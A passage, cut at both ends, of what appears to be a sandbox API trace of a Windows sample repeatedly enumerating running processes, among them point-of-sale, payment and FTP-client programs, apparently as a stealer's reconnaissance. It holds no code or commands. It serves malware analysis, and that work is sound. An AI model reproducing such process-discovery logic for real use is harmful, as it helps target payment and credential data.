th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0253.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0253.550] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0253.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0253.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0253.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0253.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0253.601] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0253.603] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0253.605] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0253.607] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0253.609] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0253.611] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0253.613] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0253.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0253.616] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0253.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0253.620] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0253.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.624] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.628] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0253.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0253.631] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0253.678] CloseHandle (hObject=0x13b0) returned 1 [0253.678] Sleep (dwMilliseconds=0x64) [0253.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0253.738] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.740] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.742] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.744] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.746] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.748] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.749] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.751] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.755] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.757] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.759] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.760] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.762] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.764] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.766] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.768] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.818] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.820] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.822] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.824] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.826] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.828] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.830] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.832] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.834] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.836] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.838] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.840] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.842] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0253.844] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0253.846] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.848] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.849] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0253.850] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0253.852] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0253.895] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0253.897] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0253.898] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0253.899] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0253.901] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0253.902] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0253.903] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0253.905] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0253.906] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0253.908] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0253.910] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0253.911] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0253.913] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0253.914] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0253.916] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0253.917] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0253.919] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0253.920] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0253.922] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0253.923] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0253.925] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0253.927] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0253.928] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0253.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0253.932] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 